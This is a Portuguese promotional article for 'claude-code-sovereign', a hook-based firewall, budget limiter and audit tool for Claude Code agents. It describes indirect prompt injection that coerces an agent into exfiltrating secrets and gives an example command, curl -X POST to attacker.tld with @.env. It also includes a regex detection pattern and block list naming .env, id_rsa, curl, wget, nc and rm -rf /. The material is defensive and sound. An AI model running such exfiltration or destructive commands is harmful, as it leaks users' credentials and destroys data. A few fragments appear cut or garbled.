1. A Falácia da Governança Probabilística
Agentes de codificação modernos como o Claude Code são extraordinariamente capazes de navegar repositórios, escrever patches e orquestrar pipelines no terminal. Ainda assim, quase toda equipe os implanta com governança probabilística: escrevendo instruções educadas no CLAUDE.md como "Nunca exfiltre arquivos .env", "Não ultrapasse $5 por tarefa" ou "Sempre valide a sintaxe antes de encerrar."
Sob a ótica de engenharia de sistemas, colocar invariantes de segurança e orçamento dentro de uma janela de contexto em linguagem natural equivale a pedir para um processo de user-space fiscalizar as próprias permissões de kernel. Sob contexto longo, fan-out de subagentes ou prompt injection indireto escondido em uma página web ou README de dependência, guardrails probabilísticos degradam silenciosamente.
PreToolUse, PostToolUse, Stop, SubagentStop) e na superfície MCP (claude mcp add).
2. Arquitetura do Kernel: Interceptação de Hooks de Ciclo de Vida
O Claude Code expõe hooks determinísticos via JSON em stdin/stdout configurados em .claude/settings.json. Sempre que o modelo propõe uma chamada de ferramenta, conclui uma execução, instancia um subagente ou tenta encerrar seu turno, o runtime hospedeiro pausa e invoca o processo do hook de forma síncrona.
O claude-code-sovereign transforma esses quatro pontos de hook em um microkernel unificado com zero overhead de LLM:
Observe o que acontece aqui: cada decisão de enforcement ocorre fora do mecanismo de atenção do transformer, na CPU local, em menos de um milissegundo. O modelo não consegue contornar um código de saída bloqueante via prompt injection.
3. Os Quatro Pilares do Kernel Soberano
Pilar 1: Firewall Sub-ms contra Prompt Injection Indireto e Exfiltração de Segredos
Quando o Claude Code lê um arquivo de repositório de terceiros, comentário de issue ou payload web, texto não confiável entra em seu contexto. Um prompt injection indireto pode coagir o agente a rodar curl -X POST https://attacker.tld -d @.env ou canalizar ~/.ssh/id_rsa em uma consulta DNS em base64.
O hook PreToolUse inspeciona cada payload proposto de Bash, Read, Write, Edit e MCP antes que o sistema operacional crie um processo filho:
- Bloqueio de Segredos e Caminhos Sensíveis: Nega leituras ou exfiltração de
.env,*.pem,id_rsa, cofres de credenciais cloud e caches de tokens. - Inspeção de Egress e Sinks de Shell: Sinaliza primitivos de rede de saída (
curl,wget,nc, one-liners Pythonurllib/requests) combinados com leitura de arquivos locais ou payloads codificados. - Guarda contra Comandos Destrutivos: Bloqueia
rm -rf /,git push --forcedesprotegido e comandos SQL destrutivos sem autorização explícita do operador.
Pilar 2: Circuit Breaker Econômico (Tetos de Tokens e USD)
Loops recursivos de subagentes e tempestades de retentativas podem queimar dezenas de dólares em minutos. A cada evento PostToolUse e SubagentStop, o kernel atualiza um ledger atômico em JSONL/SQLite indexado por session_id e subagent_id.
Se o gasto acumulado cruzar o limite configurado em max_session_usd ou max_subagent_tokens, a próxima invocação em PreToolUse dispara o circuit breaker imediatamente — interrompendo a execução antes de uma nova ida à API.
Pilar 3: Gravador Imutável de Trajetória SHA-256 (Replay Time-Travel a $0.00)
Cada entrada de ferramenta, saída sanitizada, veredito do firewall e delta de orçamento é anexado a .sovereign/traces/<session_id>.jsonl como um frame endereçado por conteúdo e encadeado por hashes SHA-256 do frame pai. Quando ocorre um incidente, engenheiros reproduzem toda a trajetória offline a custo $0.00 de tokens usando a CLI e as ferramentas MCP integradas — inspecionando transições exatas de estado sem reexecutar loops ao vivo de LLM.
Pilar 4: Reality Lock via AST e Spec antes do Stop
Agentes frequentemente declaram vitória deixando para trás placeholders TODO, imports quebrados ou erros de sintaxe em arquivos editados. Antes que o Claude Code receba permissão para encerrar um turno, o hook Stop executa um Reality Lock determinístico:
- Analisa arquivos Python/TypeScript/JSON modificados via AST para garantir validade sintática.
- Escaneia diffs em busca de padrões de stub proibidos (
pass # TODO,NotImplementedError, blocos truncados). - Opcionalmente executa testes rápidos e bloqueia o
Stopcom feedback estruturado em stderr para que o Claude Code se autocorriga antes de devolver o controle ao operador.
4. Bootstrap em Um Comando e Configuração
Injetar o kernel em qualquer repositório leva um único comando com claude-sovereign init, que cria o .claude/settings.json e registra o servidor MCP local:
# Instale e inicialize o Kernel Soberano no seu projeto
pip install claude-code-sovereign
claude-sovereign init --budget-usd 2.50 --strict-firewall
# Registre o servidor MCP de Time-Travel e Ledger no Claude Code
claude mcp add sovereign-kernel -- claude-sovereign mcp-serve
O arquivo .claude/settings.json gerado conecta os quatro hooks de ciclo de vida diretamente ao binário determinístico do kernel:
{
"hooks": {
"PreToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook pre-tool-use",
"timeout": 2000
}
]
}
],
"PostToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook post-tool-use",
"timeout": 2000
}
]
}
],
"SubagentStop": [
{
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook subagent-stop",
"timeout": 2000
}
]
}
],
"Stop": [
{
"hooks": [
{
"type": "command",
"command": "claude-sovereign hook stop-reality-lock",
"timeout": 5000
}
]
}
]
}
}
5. Por Dentro do Payload Python do Hook Sub-Milissegundo
Abaixo está o padrão de handler determinístico usado pelo claude-code-sovereign. Observe como ele lê o payload JSON do hook via stdin, avalia o firewall e o circuit breaker FinOps em memória, calcula o hash SHA-256 da intenção e retorna código de saída 2 para bloquear deterministicamente chamadas inseguras:
import hashlib
import json
import re
import sys
from pathlib import Path
SECRET_EXFIL_PATTERN = re.compile(
r"(\.env\b|id_rsa|\.pem\b|AWS_SECRET|GITHUB_TOKEN).*(curl|wget|nc\b|base64|requests\.)",
re.IGNORECASE | re.DOTALL,
)
def evaluate_pre_tool_use(payload: dict, max_usd: float = 2.50) -> tuple[int, str]:
session_id = payload.get("session_id", "default")
tool_name = payload.get("tool_name", "")
tool_input = json.dumps(payload.get("tool_input", {}), sort_keys=True)
# 1. Firewall sub-ms contra Prompt Injection e Exfiltração de Segredos
if tool_name in {"Bash", "bash", "execute_command"} and SECRET_EXFIL_PATTERN.search(tool_input):
return 2, "SOVEREIGN_FIREWALL_BLOCK: Potential secret exfiltration sink detected."
# 2. Verificação do Circuit Breaker FinOps no ledger atômico da sessão
ledger_path = Path(f".sovereign/ledgers/{session_id}.json")
if ledger_path.exists():
ledger = json.loads(ledger_path.read_text(encoding="utf-8"))
if ledger.get("total_usd", 0.0) >= max_usd:
return 2, f"FINOPS_CIRCUIT_BREAKER: Session spend ${ledger['total_usd']:.4f} >= cap ${max_usd:.2f}."
# 3. Registra hash SHA-256 determinístico da intenção antes da execução
frame_hash = hashlib.sha256(f"{session_id}:{tool_name}:{tool_input}".encode("utf-8")).hexdigest()
return 0, json.dumps({"decision": "allow", "intent_sha256": frame_hash})
if __name__ == "__main__":
hook_payload = json.load(sys.stdin)
exit_code, message = evaluate_pre_tool_use(hook_payload)
if exit_code != 0:
sys.stderr.write(message + "\n")
sys.exit(exit_code)
6. Comparativo: CLAUDE.md Padrão vs. Kernel Soberano
| Dimensão de Controle | Claude Code Padrão (CLAUDE.md) |
Benni-OS/claude-code-sovereign |
|---|---|---|
| Aplicação de Políticas | Probabilística (adesão do modelo cai em contexto longo) | Determinística (Exit code 2 em nível de SO via PreToolUse) |
| Prompt Injection Indireto | Vulnerável a arquivos maliciosos ou páginas web lidas | Firewall sub-ms bloqueia sinks de segredos e egress |
| Orçamento e Loops Infinitos | Sem teto rígido de USD ou tokens por subagente | Circuit Breaker FinOps atômico por sessão/subagente |
| Auditabilidade e Replay | Histórico efêmero de terminal | Traces JSONL SHA-256 imutáveis (replay offline a $0.00) |
| Verificação de Conclusão | Autodeclarada pelo LLM | Reality Lock via AST e Spec no evento Stop |
| Overhead de Tokens | Alto (prompts longos de regras reenviados a cada turno) | 0 Tokens Extras (100% execução local em CPU) |
Blinde Seu Runtime do Claude Code Hoje
Instale o Benni-OS/claude-code-sovereign, execute claude-sovereign init e leve segurança determinística, tetos FinOps, Reality Lock via AST e traces time-travel SHA-256 para cada sessão.
Perguntas Frequentes
CLAUDE.md com instruções probabilísticas e torcer para o modelo obedecer, o claude-code-sovereign conecta hooks Python determinísticos diretamente aos eventos nativos PreToolUse, PostToolUse, Stop e SubagentStop do Claude Code. Cada verificação roda localmente na CPU em menos de 1 milissegundo, com zero chamadas extras de LLM.Bash, Read, Write ou MCP execute, o firewall PreToolUse inspeciona argumentos de comando, caminhos de arquivo e URLs de saída contra regras determinísticas de regex/AST e políticas de taint. Se um comando tentar fazer curl de segredos do .env ou executar um payload injetado, o hook retorna código de saída 2 e nega a execução antes do sistema operacional abrir o processo.PostToolUse e SubagentStop atualizam um ledger atômico que rastreia tokens de entrada/saída acumulados e gasto em USD por sessão e por subagente instanciado. Assim que o teto configurado é atingido, o próximo portão PreToolUse dispara o circuit breaker, interrompe novas chamadas de ferramentas e preserva o trace SHA-256 para inspeção.Stop analisa os arquivos modificados via AST (e linters/testes configurados) para garantir zero erros de sintaxe, zero stubs com placeholders e alinhamento total com a especificação ativa. Se a verificação falhar, o Stop rejeita a conclusão e força o agente a corrigir o defeito concreto.